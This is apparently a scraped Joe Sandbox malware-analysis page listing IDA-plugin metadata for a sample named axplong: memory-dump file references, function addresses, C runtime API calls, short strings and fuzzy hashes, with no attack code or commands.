Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 8a5fa8282a3181e45604fec009fd4ad5bd8c9dce85ff7065544dca80766fe8b7
Instruction ID: 0bcc56222c6ea864bad414a5def2b5a331b3632f7e49ddc3c6d6a4650c8fd165
Opcode Fuzzy Hash: 8a5fa8282a3181e45604fec009fd4ad5bd8c9dce85ff7065544dca80766fe8b7
Instruction Fuzzy Hash: AAF0A0B191034D67C714EEE4D801D89B7ADDA15300B008A29F654E7601F7B0FA5487A9

Function 00693400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00692AF0: ___std_exception_copy.LIBVCRUNTIME ref: 00692B23

___std_exception_copy.LIBVCRUNTIME ref: 0069343E

Strings

P#i, xrefs: 0069342D
P#i, xrefs: 00693446

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 28c239d6f214ef10f0a7dfc17f6d9587358e25d37c1f9d5106fdfd387ff97c9c
Instruction ID: 15ce1e40561a834e3972f33e1be8d7212e8751d90fab7d8da9e030b05a0171ed
Opcode Fuzzy Hash: 28c239d6f214ef10f0a7dfc17f6d9587358e25d37c1f9d5106fdfd387ff97c9c
Instruction Fuzzy Hash: 65F0A0B291034D6BC714FFE8D801D9AB7AEDA05700B10852AF650A7A01FAB0EA4487A9

Function 00692520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692552

Strings

P#i, xrefs: 00692547
P#i, xrefs: 0069255D

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: da3184ca91c4487d94a42b76056f986c45be158c93a43ac87bae660f030d785b
Instruction ID: f840145ac6f1e9b1f8eb9fb104a4088243594ac634529d59fb51109788ef4c5a
Opcode Fuzzy Hash: da3184ca91c4487d94a42b76056f986c45be158c93a43ac87bae660f030d785b
Instruction Fuzzy Hash: 5FF08271D1124D9BCB14DFA8D841A9EBBF6AF55304F1082AEE44467200EA705A94CB99

Function 00692E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E50
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E59

Strings

@.i, xrefs: 00692E49

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 302e7b629f722b89733459adfc4bd260d9c787f5f09187c7d727ee6776dca357
Instruction ID: 5c291627bdf04d9e4338ddad54ae6d51d2379b8b7c0ce7cac9fde99e32c01773
Opcode Fuzzy Hash: 302e7b629f722b89733459adfc4bd260d9c787f5f09187c7d727ee6776dca357
Instruction Fuzzy Hash: 63E026B2C4231866C310BFA48C01E97BFCE9F17311F40043EF98196702EBB1A9544BE4

Function 006924A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006924BE

Strings

P#i, xrefs: 006924AD
P#i, xrefs: 006924C6

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 7ec515736335ee17836d75c97c4a53fd297548e2cf32e580ab06991359e90f6f
Instruction ID: bfc4066efb3d682f7466ccf0bd199501325a8bc4fcd2a5af282e092047944943
Opcode Fuzzy Hash: 7ec515736335ee17836d75c97c4a53fd297548e2cf32e580ab06991359e90f6f
Instruction Fuzzy Hash: B9D017B2A203595BD610AF99D801982BBDDDE1A664714862AF654E7300F6B0E9908FA8

Function 00692580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069259E

Strings

P#i, xrefs: 0069258D
P#i, xrefs: 006925A6

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
